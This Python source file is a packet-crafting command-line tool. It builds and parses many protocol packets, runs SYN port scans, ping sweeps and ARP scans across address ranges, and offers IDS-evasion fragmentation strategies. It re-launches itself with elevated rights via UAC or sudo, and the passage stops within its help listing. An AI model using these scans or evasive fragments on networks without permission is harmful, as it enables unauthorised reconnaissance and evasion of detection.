#!/usr/bin/env python3
"""NimPacket CLI - Command-line interface for packet crafting, parsing, and sending."""

import argparse
import sys
import os
import json
import platform
import ipaddress
import time
import random

# Import nimpacket (this module lives inside the nimpacket package)
import nimpacket as np


# =============================================================================
# Output helpers
# =============================================================================

def bytes_to_hex(data):
    """Convert bytes to hex string."""
    return data.hex()


def hex_to_bytes(hex_str):
    """Convert hex string to bytes, stripping optional 0x prefix."""
    hex_str = hex_str.strip()
    if hex_str.startswith("0x") or hex_str.startswith("0X"):
        hex_str = hex_str[2:]
    return bytes.fromhex(hex_str)


def parse_int_auto(value):
    """Parse an integer from string, supporting 0x hex prefix."""
    value = value.strip()
    if value.startswith("0x") or value.startswith("0X"):
        return int(value, 16)
    return int(value)


def output_packet(data, args):
    """Output packet data according to --hex/--raw flags."""
    if getattr(args, 'raw', False):
        sys.stdout.buffer.write(data)
    elif getattr(args, 'output_hex', False):
        print(bytes_to_hex(data))
    else:
        hex_str = bytes_to_hex(data)
        print(f"Packet ({len(data)} bytes):")
        # Pretty-print hex in rows of 16 bytes
        for i in range(0, len(hex_str), 32):
            offset = i // 2
            chunk = hex_str[i:i+32]
            pairs = ' '.join(chunk[j:j+2] for j in range(0, len(chunk), 2))
            ascii_repr = ''
            for j in range(0, len(chunk), 2):
                byte_val = int(chunk[j:j+2], 16)
                ascii_repr += chr(byte_val) if 32 <= byte_val < 127 else '.'
            print(f"  {offset:04x}:  {pairs:<48s}  {ascii_repr}")


def output_parsed(parsed, args):
    """Output parsed packet data according to --json flag."""
    if getattr(args, 'json_output', False):
        print(json.dumps(parsed, indent=2, default=str))
    else:
        pretty_print_dict(parsed)


def pretty_print_dict(d, indent=0):
    """Pretty-print a dict as a human-readable table."""
    prefix = "  " * indent
    for key, value in d.items():
        if isinstance(value, dict):
            print(f"{prefix}{key}:")
            pretty_print_dict(value, indent + 1)
        elif isinstance(value, list):
            print(f"{prefix}{key}:")
            for i, item in enumerate(value):
                if isinstance(item, dict):
                    print(f"{prefix}  [{i}]:")
                    pretty_print_dict(item, indent + 2)
                else:
                    print(f"{prefix}  [{i}] {item}")
        else:
            print(f"{prefix}{key}: {value}")


def load_packet_data(args):
    """Load packet data from --hex or --file argument."""
    if hasattr(args, 'hex') and args.hex:
        return hex_to_bytes(args.hex)
    elif hasattr(args, 'file') and args.file:
        with open(args.file, 'rb') as f:
            return f.read()
    return None


DNS_TYPE_MAP = {
    'A': 1, 'NS': 2, 'CNAME': 5, 'SOA': 6, 'PTR': 12,
    'MX': 15, 'TXT': 16, 'AAAA': 28, 'SRV': 33, 'ANY': 255,
}

FRAG_STRATEGY_MAP = {
    'tiny': 0, 'overlap': 1, 'outoforder': 2,
    'timedelayed': 3, 'polymorphic': 4,
}

TCP_FLAG_MAP = {
    'FIN': 0x01, 'SYN': 0x02, 'RST': 0x04,
    'PSH': 0x08, 'ACK': 0x10, 'URG': 0x20,
}


def parse_tcp_flags(flags_str):
    """Parse TCP flags string like 'SYN', 'SYN,ACK', 'SYN|ACK'."""
    flags_str = flags_str.replace('|', ',')
    result = 0
    for flag in flags_str.split(','):
        flag = flag.strip().upper()
        if flag in TCP_FLAG_MAP:
            result |= TCP_FLAG_MAP[flag]
        else:
            try:
                result |= parse_int_auto(flag)
            except ValueError:
                print(f"Error: Unknown TCP flag '{flag}'", file=sys.stderr)
                print(f"Valid flags: {', '.join(TCP_FLAG_MAP.keys())}", file=sys.stderr)
                sys.exit(1)
    return result


# =============================================================================
# Craft subcommands
# =============================================================================

def craft_tcp_syn(args):
    packet = np.build_tcp_syn_packet(
        args.src_ip, args.dst_ip, args.src_port, args.dst_port,
        ttl=args.ttl
    )
    output_packet(packet, args)


def craft_icmp_echo(args):
    payload = args.payload.encode() if args.payload else b""
    packet = np.build_icmp_echo_packet(
        args.src_ip, args.dst_ip, args.id, args.seq,
        payload=payload, ttl=args.ttl
    )
    output_packet(packet, args)


def craft_udp(args):
    payload = args.payload.encode() if args.payload else b""
    packet = np.build_udp_packet(
        args.src_ip, args.dst_ip, args.src_port, args.dst_port,
        payload=payload, ttl=args.ttl
    )
    output_packet(packet, args)


def craft_arp_request(args):
    packet = np.create_arp_request(args.sender_mac, args.sender_ip, args.target_ip)
    output_packet(packet, args)


def craft_arp_reply(args):
    packet = np.create_arp_reply(
        args.sender_mac, args.sender_ip, args.target_mac, args.target_ip
    )
    output_packet(packet, args)


def craft_arp_frame(args):
    dst_mac = args.dst_mac if args.dst_mac else "FF:FF:FF:FF:FF:FF"
    packet = np.build_arp_frame(args.src_mac, args.src_ip, args.dst_ip, dst_mac)
    output_packet(packet, args)


def craft_dns_query(args):
    qtype_str = args.type.upper() if args.type else 'A'
    qtype = DNS_TYPE_MAP.get(qtype_str)
    if qtype is None:
        print(f"Error: Unknown DNS type '{qtype_str}'", file=sys.stderr)
        print(f"Valid types: {', '.join(DNS_TYPE_MAP.keys())}", file=sys.stderr)
        sys.exit(1)
    txid = parse_int_auto(args.txid) if args.txid else 0
    packet = np.create_dns_query(args.domain, query_type=qtype, transaction_id=txid)
    output_packet(packet, args)


def craft_dhcp_discover(args):
    txid = parse_int_auto(args.txid) if args.txid else 0
    packet = np.create_dhcp_discover(args.mac, transaction_id=txid)
    output_packet(packet, args)


def craft_dhcp_request(args):
    txid = parse_int_auto(args.txid) if args.txid else 0
    packet = np.create_dhcp_request(
        args.mac, args.requested_ip, args.server_ip, transaction_id=txid
    )
    output_packet(packet, args)


def craft_dhcp_release(args):
    txid = parse_int_auto(args.txid) if args.txid else 0
    packet = np.create_dhcp_release(
        args.mac, args.client_ip, args.server_ip, transaction_id=txid
    )
    output_packet(packet, args)


def craft_ethernet(args):
    ether_type = parse_int_auto(args.ether_type)
    packet = np.create_ethernet_header(args.src_mac, args.dst_mac, ether_type)
    output_packet(packet, args)


def craft_ipv4(args):
    packet = np.create_ipv4_header(
        args.src_ip, args.dst_ip, args.protocol, ttl=args.ttl
    )
    output_packet(packet, args)


def craft_ipv6(args):
    packet = np.create_ipv6_header(
        args.src_ip, args.dst_ip, args.next_header, hop_limit=args.hop_limit
    )
    output_packet(packet, args)


def craft_tcp(args):
    flags = parse_tcp_flags(args.flags)
    packet = np.create_tcp_header(
        args.src_port, args.dst_port, flags,
        seq_num=args.seq, ack_num=args.ack, window_size=args.window
    )
    output_packet(packet, args)


def craft_udp_header(args):
    packet = np.create_udp_header(args.src_port, args.dst_port, length=args.length)
    output_packet(packet, args)


def craft_icmp(args):
    packet = np.create_icmp_header(
        args.type, code=args.code, identifier=args.id, sequence=args.seq
    )
    output_packet(packet, args)


def craft_icmpv6_echo_request(args):
    packet = np.create_icmpv6_echo_request(args.id, args.seq)
    output_packet(packet, args)


def craft_icmpv6_echo_reply(args):
    packet = np.create_icmpv6_echo_reply(args.id, args.seq)
    output_packet(packet, args)


# =============================================================================
# Parse subcommands
# =============================================================================

def parse_auto(args):
    data = load_packet_data(args)
    if data is None:
        print("Error: Provide --hex or --file", file=sys.stderr)
        sys.exit(1)
    parsed = np.parse_packet(data)
    output_parsed(parsed, args)


def parse_dns(args):
    data = load_packet_data(args)
    if data is None:
        print("Error: Provide --hex or --file", file=sys.stderr)
        sys.exit(1)
    parsed = np.parse_dns_packet(data)
    output_parsed(parsed, args)


def parse_dhcp(args):
    data = load_packet_data(args)
    if data is None:
        print("Error: Provide --hex or --file", file=sys.stderr)
        sys.exit(1)
    parsed = np.parse_dhcp_packet(data)
    output_parsed(parsed, args)


def parse_arp(args):
    data = load_packet_data(args)
    if data is None:
        print("Error: Provide --hex or --file", file=sys.stderr)
        sys.exit(1)
    parsed = np.parse_arp_packet(data)
    output_parsed(parsed, args)


def parse_ethernet(args):
    data = load_packet_data(args)
    if data is None:
        print("Error: Provide --hex or --file", file=sys.stderr)
        sys.exit(1)
    parsed = np.parse_ethernet_header(data)
    output_parsed(parsed, args)


def parse_ipv4(args):
    data = load_packet_data(args)
    if data is None:
        print("Error: Provide --hex or --file", file=sys.stderr)
        sys.exit(1)
    parsed = np.parse_ipv4_header(data)
    output_parsed(parsed, args)


def parse_ipv6(args):
    data = load_packet_data(args)
    if data is None:
        print("Error: Provide --hex or --file", file=sys.stderr)
        sys.exit(1)
    parsed = np.parse_ipv6_header(data)
    output_parsed(parsed, args)


def parse_tcp(args):
    data = load_packet_data(args)
    if data is None:
        print("Error: Provide --hex or --file", file=sys.stderr)
        sys.exit(1)
    parsed = np.parse_tcp_header(data)
    output_parsed(parsed, args)


def parse_udp(args):
    data = load_packet_data(args)
    if data is None:
        print("Error: Provide --hex or --file", file=sys.stderr)
        sys.exit(1)
    parsed = np.parse_udp_header(data)
    output_parsed(parsed, args)


def parse_icmp(args):
    data = load_packet_data(args)
    if data is None:
        print("Error: Provide --hex or --file", file=sys.stderr)
        sys.exit(1)
    parsed = np.parse_icmp_header(data)
    output_parsed(parsed, args)


def parse_icmpv6(args):
    data = load_packet_data(args)
    if data is None:
        print("Error: Provide --hex or --file", file=sys.stderr)
        sys.exit(1)
    parsed = np.parse_icmpv6_header(data)
    output_parsed(parsed, args)


# =============================================================================
# Send subcommands
# =============================================================================

def _require_admin():
    """Check admin privileges. If not admin, auto-elevate."""
    if np.is_admin():
        return
    print("This command requires administrator/root privileges.")
    if platform.system() == "Windows":
        # Auto-elevate on Windows via UAC
        import ctypes
        script = os.path.abspath(__file__)
        args = ' '.join(f'"{a}"' if ' ' in a else a for a in sys.argv[1:])
        params = f'/k "{sys.executable}" "{script}" {args}'
        print("Requesting admin via UAC...")
        ret = ctypes.windll.shell32.ShellExecuteW(None, "runas", "cmd.exe", params, None, 1)
        if ret > 32:
            sys.exit(0)
        else:
            print("UAC denied. Right-click your terminal -> Run as administrator.", file=sys.stderr)
            sys.exit(1)
    else:
        # Auto-elevate on Linux/macOS via sudo
        print("Elevating with sudo...")
        os.execvp("sudo", ["sudo", sys.executable] + sys.argv)


def send_tcp_syn(args):
    _require_admin()
    packet = np.build_tcp_syn_packet(
        args.src_ip, args.dst_ip, args.src_port, args.dst_port
    )
    np.create_tcp_socket()
    try:
        sent = np.send_packet(packet, args.dst_ip)
        print(f"Sent {sent} bytes to {args.dst_ip}:{args.dst_port}")
    finally:
        np.close_socket()


def send_icmp_echo(args):
    _require_admin()
    payload = args.payload.encode() if getattr(args, 'payload', None) else b""
    packet = np.build_icmp_echo_packet(
        args.src_ip, args.dst_ip, args.id, args.seq, payload=payload
    )
    np.create_icmp_socket()
    try:
        sent = np.send_packet(packet, args.dst_ip)
        print(f"Sent {sent} bytes to {args.dst_ip}")
    finally:
        np.close_socket()


def send_udp(args):
    _require_admin()
    payload = args.payload.encode() if getattr(args, 'payload', None) else b""
    packet = np.build_udp_packet(
        args.src_ip, args.dst_ip, args.src_port, args.dst_port, payload=payload
    )
    np.create_udp_socket()
    try:
        sent = np.send_packet(packet, args.dst_ip)
        print(f"Sent {sent} bytes to {args.dst_ip}:{args.dst_port}")
    finally:
        np.close_socket()


def send_arp_frame(args):
    _require_admin()
    dst_mac = args.dst_mac if getattr(args, 'dst_mac', None) else "FF:FF:FF:FF:FF:FF"
    packet = np.build_arp_frame(args.src_mac, args.src_ip, args.dst_ip, dst_mac)
    np.create_raw_socket(255)
    try:
        sent = np.send_packet(packet, args.dst_ip)
        print(f"Sent {sent} bytes (ARP frame) to {args.dst_ip}")
    finally:
        np.close_socket()


def send_raw(args):
    _require_admin()
    data = load_packet_data(args)
    if data is None:
        print("Error: Provide --hex or --file", file=sys.stderr)
        sys.exit(1)
    np.create_raw_socket(255)
    try:
        sent = np.send_packet(data, args.dst_ip)
        print(f"Sent {sent} bytes to {args.dst_ip}")
    finally:
        np.close_socket()


# =============================================================================
# Scan helpers
# =============================================================================

# Well-known ports for --top-ports
TOP_PORTS = [
    21, 22, 23, 25, 53, 80, 110, 111, 135, 139, 143, 443, 445, 993, 995,
    1723, 3306, 3389, 5432, 5900, 8080, 8443, 8888, 27017,
]

PORT_NAMES = {
    21: 'FTP', 22: 'SSH', 23: 'Telnet', 25: 'SMTP', 53: 'DNS',
    80: 'HTTP', 110: 'POP3', 111: 'RPC', 135: 'MSRPC', 139: 'NetBIOS',
    143: 'IMAP', 443: 'HTTPS', 445: 'SMB', 993: 'IMAPS', 995: 'POP3S',
    1723: 'PPTP', 3306: 'MySQL', 3389: 'RDP', 5432: 'PostgreSQL',
    5900: 'VNC', 8080: 'HTTP-Alt', 8443: 'HTTPS-Alt', 8888: 'HTTP-Alt2',
    27017: 'MongoDB',
}


def expand_targets(target_str, target_file=None):
    """Expand target specification into a list of IP strings.

    Supports:
        192.168.1.1           single IP
        192.168.1.0/24        CIDR notation
        192.168.1.1-254       last-octet range
        192.168.1.1-192.168.1.254   full range
        --file targets.txt    one IP/CIDR per line
    """
    ips = []

    if target_file:
        with open(target_file, 'r') as f:
            for line in f:
                line = line.strip()
                if line and not line.startswith('#'):
                    ips.extend(expand_targets(line))
        return ips

    target_str = target_str.strip()

    # CIDR: 192.168.1.0/24
    if '/' in target_str:
        try:
            network = ipaddress.ip_network(target_str, strict=False)
            return [str(ip) for ip in network.hosts()]
        except ValueError as e:
            print(f"Error: Invalid CIDR '{target_str}': {e}", file=sys.stderr)
            sys.exit(1)

    # Range with dash: 192.168.1.1-254 or 192.168.1.1-192.168.1.254
    if '-' in target_str:
        parts = target_str.split('-')
        if len(parts) == 2:
            base = parts[0].strip()
            end_part = parts[1].strip()
            # Check if end_part is just a number (last octet range)
            if '.' not in end_part:
                try:
                    base_parts = base.split('.')
                    start = int(base_parts[3])
                    end = int(end_part)
                    prefix = '.'.join(base_parts[:3])
                    return [f"{prefix}.{i}" for i in range(start, end + 1)]
                except (IndexError, ValueError):
                    pass
            else:
                # Full IP range
                try:
                    start_ip = ipaddress.ip_address(base)
                    end_ip = ipaddress.ip_address(end_part)
                    return [str(ipaddress.ip_address(i))
                            for i in range(int(start_ip), int(end_ip) + 1)]
                except ValueError:
                    pass

    # Single IP
    try:
        ipaddress.ip_address(target_str)
        return [target_str]
    except ValueError:
        print(f"Error: Invalid target '{target_str}'", file=sys.stderr)
        sys.exit(1)


def expand_ports(port_str, top_ports=None):
    """Expand port specification into a list of integers.

    Supports:
        80              single port
        80,443,8080     comma-separated
        1-1024          range
        --top-ports 20  well-known ports
    """
    if top_ports:
        return TOP_PORTS[:top_ports]

    ports = []
    for part in port_str.split(','):
        part = part.strip()
        if '-' in part:
            start, end = part.split('-', 1)
            ports.extend(range(int(start), int(end) + 1))
        else:
            ports.append(int(part))
    return ports


# =============================================================================
# Scan subcommands
# =============================================================================

def _print_scan_results(results, key_field, args, extra_summary=""):
    """Common output for scan results."""
    if getattr(args, 'json_output', False):
        print(json.dumps(results, indent=2))
    if getattr(args, 'output_file', None):
        with open(args.output_file, 'w') as f:
            json.dump(results, f, indent=2)
        print(f"Results saved to {args.output_file}")


def scan_ports(args):
    """Fast SYN scan: blast all probes, then collect responses."""
    _require_admin()
    targets = expand_targets(args.target, getattr(args, 'target_file', None))
    if args.top_ports:
        ports = expand_ports(None, top_ports=args.top_ports)
    else:
        ports = expand_ports(args.ports)

    src_ip = args.src_ip
    timeout = args.timeout
    delay = args.delay
    open_only = args.open_only

    total = len(targets) * len(ports)
    print(f"Scanning {len(targets)} host(s) x {len(ports)} port(s) = {total} probes")
    print(f"Source: {src_ip} | Timeout: {timeout}ms | Mode: fast (blast+listen)")
    print("-" * 60)

    # Track what we sent: (target, port) -> src_port
    probe_map = {}
    results = {}  # (target, port) -> status

    np.create_tcp_socket()
    try:
        # PHASE 1: SEND - blast all SYN packets as fast as Nim can build them
        print(f"[Phase 1] Sending {total} SYN probes...")
        send_start = time.time()
        sent_count = 0
        for target in targets:
            for port in ports:
                src_port = random.randint(49152, 65535)
                probe_map[(target, port)] = src_port
                results[(target, port)] = 'filtered'
                packet = np.build_tcp_syn_packet(src_ip, target, src_port, port)
                try:
                    np.send_packet(packet, target)
                    sent_count += 1
                except Exception:
                    pass
                if delay > 0:
                    time.sleep(delay / 1000.0)
        send_elapsed = time.time() - send_start
        pps = sent_count / send_elapsed if send_elapsed > 0 else 0
        print(f"  Sent {sent_count} packets in {send_elapsed:.2f}s ({pps:.0f} packets/sec)")

        # PHASE 2: RECEIVE - collect responses for timeout window
        print(f"[Phase 2] Listening for responses ({timeout}ms)...")
        listen_start = time.time()
        listen_deadline = listen_start + (timeout / 1000.0)
        response_count = 0
        while time.time() < listen_deadline:
            remaining = int((listen_deadline - time.time()) * 1000)
            if remaining <= 0:
                break
            response = np.receive_packet(timeout_ms=min(remaining, 100), max_size=65535)
            if len(response) == 0:
                continue
            response_count += 1
            try:
                parsed = np.parse_packet(response)
                if 'tcp' in parsed and 'ipv4' in parsed:
                    resp_ip = parsed['ipv4'].get('src_ip', '')
                    resp_port = parsed['tcp'].get('src_port', 0)
                    flags = parsed['tcp'].get('flags', 0)
                    key = (resp_ip, resp_port)
                    if key in results:
                        if flags & 0x12 == 0x12:  # SYN+ACK
                            results[key] = 'open'
                        elif flags & 0x04:  # RST
                            results[key] = 'closed'
            except Exception:
                pass
        listen_elapsed = time.time() - listen_start
        print(f"  Received {response_count} responses in {listen_elapsed:.2f}s")

    finally:
        np.close_socket()

    # PHASE 3: REPORT
    print("-" * 60)
    result_list = []
    for target in targets:
        for port in ports:
            status = results.get((target, port), 'filtered')
            service = PORT_NAMES.get(port, '')
            entry = {'host': target, 'port': port, 'status': status, 'service': service}
            result_list.append(entry)
            if not open_only or status == 'open':
                tag = '*' if status == 'open' else ' '
                print(f"  {tag} {target}:{port:<6} {status:<10} {service}")

    open_count = sum(1 for r in result_list if r['status'] == 'open')
    closed_count = sum(1 for r in result_list if r['status'] == 'closed')
    filtered_count = sum(1 for r in result_list if r['status'] == 'filtered')
    total_time = send_elapsed + listen_elapsed
    print("-" * 60)
    print(f"Done in {total_time:.2f}s. {open_count} open, {closed_count} closed, {filtered_count} filtered")

    _print_scan_results(result_list, 'status', args)


def scan_hosts(args):
    """Fast ICMP ping sweep: blast pings, then collect replies."""
    _require_admin()
    targets = expand_targets(args.target, getattr(args, 'target_file', None))
    src_ip = args.src_ip
    timeout = args.timeout
    delay = args.delay

    print(f"Ping sweep: {len(targets)} host(s)")
    print(f"Source: {src_ip} | Timeout: {timeout}ms | Mode: fast (blast+listen)")
    print("-" * 60)

    alive_set = set()

    np.create_icmp_socket()
    try:
        # PHASE 1: SEND all pings
        print(f"[Phase 1] Sending {len(targets)} ICMP echo requests...")
        send_start = time.time()
        sent = 0
        for i, target in enumerate(targets):
            ident = random.randint(1, 65535)
            seq = i + 1
            packet = np.build_icmp_echo_packet(src_ip, target, ident, seq)
            try:
                np.send_packet(packet, target)
                sent += 1
            except Exception:
                pass
            if delay > 0:
                time.sleep(delay / 1000.0)
        send_elapsed = time.time() - send_start
        pps = sent / send_elapsed if send_elapsed > 0 else 0
        print(f"  Sent {sent} packets in {send_elapsed:.2f}s ({pps:.0f} packets/sec)")

        # PHASE 2: RECEIVE replies
        print(f"[Phase 2] Listening for replies ({timeout}ms)...")
        listen_start = time.time()
        listen_deadline = listen_start + (timeout / 1000.0)
        while time.time() < listen_deadline:
            remaining = int((listen_deadline - time.time()) * 1000)
            if remaining <= 0:
                break
            response = np.receive_packet(timeout_ms=min(remaining, 100), max_size=65535)
            if len(response) == 0:
                continue
            try:
                parsed = np.parse_packet(response)
                if 'icmp' in parsed and 'ipv4' in parsed:
                    if parsed['icmp'].get('icmp_type', -1) == 0:  # Echo Reply
                        alive_set.add(parsed['ipv4'].get('src_ip', ''))
            except Exception:
                pass
        listen_elapsed = time.time() - listen_start

    finally:
        np.close_socket()

    # PHASE 3: REPORT
    print("-" * 60)
    results = []
    for target in targets:
        alive = target in alive_set
        entry = {'host': target, 'alive': alive}
        results.append(entry)
        if alive:
            print(f"  [UP]   {target}")
        elif not args.alive_only:
            print(f"  [DOWN] {target}")

    total_time = send_elapsed + listen_elapsed
    print("-" * 60)
    print(f"Done in {total_time:.2f}s. {len(alive_set)}/{len(targets)} hosts up")

    _print_scan_results(results, 'alive', args)


def scan_arp(args):
    """Fast ARP scan: blast ARP requests, then collect replies."""
    _require_admin()
    targets = expand_targets(args.target, getattr(args, 'target_file', None))
    src_mac = args.src_mac
    src_ip = args.src_ip
    timeout = args.timeout
    delay = args.delay

    print(f"ARP scan: {len(targets)} host(s)")
    print(f"Source: {src_mac} ({src_ip}) | Timeout: {timeout}ms | Mode: fast (blast+listen)")
    print("-" * 60)

    found_hosts = {}  # ip -> mac

    np.create_raw_socket(255)
    try:
        # PHASE 1: SEND all ARP requests
        print(f"[Phase 1] Sending {len(targets)} ARP requests...")
        send_start = time.time()
        sent = 0
        for target in targets:
            packet = np.build_arp_frame(src_mac, src_ip, target)
            try:
                np.send_packet(packet, target)
                sent += 1
            except Exception:
                pass
            if delay > 0:
                time.sleep(delay / 1000.0)
        send_elapsed = time.time() - send_start
        pps = sent / send_elapsed if send_elapsed > 0 else 0
        print(f"  Sent {sent} packets in {send_elapsed:.2f}s ({pps:.0f} packets/sec)")

        # PHASE 2: RECEIVE replies
        print(f"[Phase 2] Listening for replies ({timeout}ms)...")
        listen_start = time.time()
        listen_deadline = listen_start + (timeout / 1000.0)
        while time.time() < listen_deadline:
            remaining = int((listen_deadline - time.time()) * 1000)
            if remaining <= 0:
                break
            response = np.receive_packet(timeout_ms=min(remaining, 100), max_size=65535)
            if len(response) == 0:
                continue
            try:
                parsed = np.parse_packet(response)
                arp = parsed.get('arp', {})
                if arp:
                    sender_ip = arp.get('sender_ip', '')
                    sender_mac = arp.get('sender_mac', 'unknown')
                    if sender_ip:
                        found_hosts[sender_ip] = sender_mac
            except Exception:
                pass
        listen_elapsed = time.time() - listen_start

    finally:
        np.close_socket()

    # PHASE 3: REPORT
    print("-" * 60)
    results = []
    for target in targets:
        alive = target in found_hosts
        mac = found_hosts.get(target)
        entry = {'host': target, 'alive': alive, 'mac': mac}
        results.append(entry)
        if alive:
            print(f"  [UP]   {target:<16} MAC: {mac}")
        elif not args.alive_only:
            print(f"  [DOWN] {target}")

    total_time = send_elapsed + listen_elapsed
    print("-" * 60)
    print(f"Done in {total_time:.2f}s. {len(found_hosts)}/{len(targets)} hosts found")

    _print_scan_results(results, 'alive', args)


def scan_sweep(args):
    """Fast port sweep: blast one port across many hosts, then collect."""
    _require_admin()
    targets = expand_targets(args.target, getattr(args, 'target_file', None))
    port = args.port
    src_ip = args.src_ip
    timeout = args.timeout
    delay = args.delay

    service = PORT_NAMES.get(port, '')
    print(f"Port sweep: {len(targets)} host(s) on port {port} ({service})")
    print(f"Source: {src_ip} | Timeout: {timeout}ms | Mode: fast (blast+listen)")
    print("-" * 60)

    host_status = {t: 'filtered' for t in targets}

    np.create_tcp_socket()
    try:
        # PHASE 1: SEND
        print(f"[Phase 1] Sending {len(targets)} SYN probes to port {port}...")
        send_start = time.time()
        sent = 0
        for target in targets:
            src_port = random.randint(49152, 65535)
            packet = np.build_tcp_syn_packet(src_ip, target, src_port, port)
            try:
                np.send_packet(packet, target)
                sent += 1
            except Exception:
                pass
            if delay > 0:
                time.sleep(delay / 1000.0)
        send_elapsed = time.time() - send_start
        pps = sent / send_elapsed if send_elapsed > 0 else 0
        print(f"  Sent {sent} packets in {send_elapsed:.2f}s ({pps:.0f} packets/sec)")

        # PHASE 2: RECEIVE
        print(f"[Phase 2] Listening for responses ({timeout}ms)...")
        listen_start = time.time()
        listen_deadline = listen_start + (timeout / 1000.0)
        while time.time() < listen_deadline:
            remaining = int((listen_deadline - time.time()) * 1000)
            if remaining <= 0:
                break
            response = np.receive_packet(timeout_ms=min(remaining, 100), max_size=65535)
            if len(response) == 0:
                continue
            try:
                parsed = np.parse_packet(response)
                if 'tcp' in parsed and 'ipv4' in parsed:
                    resp_ip = parsed['ipv4'].get('src_ip', '')
                    flags = parsed['tcp'].get('flags', 0)
                    if resp_ip in host_status:
                        if flags & 0x12 == 0x12:
                            host_status[resp_ip] = 'open'
                        elif flags & 0x04:
                            host_status[resp_ip] = 'closed'
            except Exception:
                pass
        listen_elapsed = time.time() - listen_start

    finally:
        np.close_socket()

    # PHASE 3: REPORT
    print("-" * 60)
    results = []
    for target in targets:
        status = host_status[target]
        entry = {'host': target, 'port': port, 'status': status, 'service': service}
        results.append(entry)
        if not args.open_only or status == 'open':
            tag = '*' if status == 'open' else ' '
            print(f"  {tag} {target:<16} :{port} {status} {service}")

    open_count = sum(1 for r in results if r['status'] == 'open')
    total_time = send_elapsed + listen_elapsed
    print("-" * 60)
    print(f"Done in {total_time:.2f}s. {open_count}/{len(targets)} hosts have port {port} open")

    _print_scan_results(results, 'status', args)


# =============================================================================
# Listen command
# =============================================================================

def cmd_listen(args):
    _require_admin()
    protocol_map = {'tcp': 6, 'udp': 17, 'icmp': 1, 'all': 255}
    proto = protocol_map.get(args.protocol.lower(), 255)
    np.create_raw_socket(proto)
    if args.timeout:
        np.set_socket_timeout(args.timeout)
    if args.hdrincl:
        np.set_ip_header_include(True)
    if args.broadcast:
        np.set_broadcast(True)
    try:
        count = 0
        limit = args.count if args.count else 0
        print(f"Listening for packets (protocol: {args.protocol}, timeout: {args.timeout}ms)...")
        print("Press Ctrl+C to stop.\n")
        while True:
            data = np.receive_packet(timeout_ms=args.timeout, max_size=args.size)
            if len(data) == 0:
                if limit > 0:
                    print("(timeout - no packet received)")
                    break
                continue
            count += 1
            print(f"--- Packet {count} ({len(data)} bytes) ---")
            if getattr(args, 'json_output', False):
                parsed = np.parse_packet(data)
                print(json.dumps(parsed, indent=2, default=str))
            elif getattr(args, 'listen_hex', False):
                print(bytes_to_hex(data))
            else:
                parsed = np.parse_packet(data)
                pretty_print_dict(parsed)
            print()
            if limit > 0 and count >= limit:
                break
    except KeyboardInterrupt:
        print(f"\nStopped. Received {count} packet(s).")
    finally:
        np.close_socket()


# =============================================================================
# Fragment subcommands
# =============================================================================

def cmd_fragment(args):
    strategy = FRAG_STRATEGY_MAP.get(args.strategy.lower())
    if strategy is None:
        print(f"Error: Unknown strategy '{args.strategy}'", file=sys.stderr)
        print(f"Valid strategies: {', '.join(FRAG_STRATEGY_MAP.keys())}", file=sys.stderr)
        sys.exit(1)
    payload = args.payload.encode() if args.payload else b""
    ip_header = np.create_ipv4_header(args.src_ip, args.dst_ip, np.IPPROTO_TCP)
    fragments = np.fragment_packet(ip_header, payload, strategy, fragment_size=args.fragment_size)
    print(f"Generated {len(fragments)} fragments (strategy: {args.strategy}):")
    for i, frag in enumerate(fragments):
        print(f"  Fragment {i}: {len(frag)} bytes  {bytes_to_hex(frag)}")


def cmd_send_fragmented(args):
    _require_admin()
    strategy = FRAG_STRATEGY_MAP.get(args.strategy.lower())
    if strategy is None:
        print(f"Error: Unknown strategy '{args.strategy}'", file=sys.stderr)
        print(f"Valid strategies: {', '.join(FRAG_STRATEGY_MAP.keys())}", file=sys.stderr)
        sys.exit(1)
    payload = args.payload.encode() if args.payload else b""
    ip_header = np.create_ipv4_header(args.src_ip, args.dst_ip, np.IPPROTO_TCP)
    np.create_raw_socket(255)
    try:
        sent = np.send_fragmented(ip_header, payload, args.dst_ip, strategy, delay_ms=args.delay)
        print(f"Sent {sent} bytes in fragments (strategy: {args.strategy})")
    finally:
        np.close_socket()


# =============================================================================
# Utility subcommands
# =============================================================================

def util_ip_parse(args):
    result = np.parse_ipv4(args.ip)
    print(result)


def util_ip_to_string(args):
    result = np.ip_to_string(int(args.value))
    print(result)


def util_mac_parse(args):
    result = np.parse_mac(args.mac)
    print(bytes_to_hex(result))


def util_mac_to_string(args):
    data = hex_to_bytes(args.hex_value)
    result = np.mac_to_string(data)
    print(result)


def util_ipv6_parse(args):
    result = np.parse_ipv6(args.ip)
    print(bytes_to_hex(result))


def util_ipv6_to_string(args):
    data = hex_to_bytes(args.hex_value)
    result = np.ipv6_to_string(data)
    print(result)


def util_htons(args):
    print(np.htons(int(args.value)))


def util_ntohs(args):
    print(np.ntohs(int(args.value)))


def util_htonl(args):
    print(np.htonl(int(args.value)))


def util_ntohl(args):
    print(np.ntohl(int(args.value)))


def util_encode_domain(args):
    result = np.encode_domain_name(args.domain)
    print(bytes_to_hex(result))


def util_broadcast_mac(args):
    result = np.broadcast_mac()
    print(np.mac_to_string(result))


def util_checksum_ipv4(args):
    data = hex_to_bytes(args.hex)
    result = np.calculate_ipv4_checksum(data)
    print(f"0x{result:04x} ({result})")


def util_checksum_tcp(args):
    ip_data = hex_to_bytes(args.ip_hex)
    tcp_data = hex_to_bytes(args.tcp_hex)
    payload = hex_to_bytes(args.payload_hex) if args.payload_hex else b""
    result = np.calculate_tcp_checksum(ip_data, tcp_data, payload)
    print(f"0x{result:04x} ({result})")


def util_checksum_udp(args):
    ip_data = hex_to_bytes(args.ip_hex)
    udp_data = hex_to_bytes(args.udp_hex)
    payload = hex_to_bytes(args.payload_hex) if args.payload_hex else b""
    result = np.calculate_udp_checksum(ip_data, udp_data, payload)
    print(f"0x{result:04x} ({result})")


def util_checksum_icmp(args):
    icmp_data = hex_to_bytes(args.hex)
    payload = hex_to_bytes(args.payload_hex) if args.payload_hex else b""
    result = np.calculate_icmp_checksum(icmp_data, payload)
    print(f"0x{result:04x} ({result})")


# =============================================================================
# Info command
# =============================================================================

def cmd_help_all(args):
    """Print every single CLI command."""
    print(f"NimPacket CLI v{np.version()} - All Commands ({58} total)")
    print("=" * 60)
    print()
    print("CRAFT - Create packets (18 commands)")
    print("-" * 40)
    print("  craft tcp-syn          Complete TCP SYN packet (IP+TCP+checksum)")
    print("  craft icmp-echo        Complete ICMP echo request packet")
    print("  craft udp              Complete UDP packet")
    print("  craft arp-request      ARP request")
    print("  craft arp-reply        ARP reply")
    print("  craft arp-frame        Complete Ethernet+ARP frame")
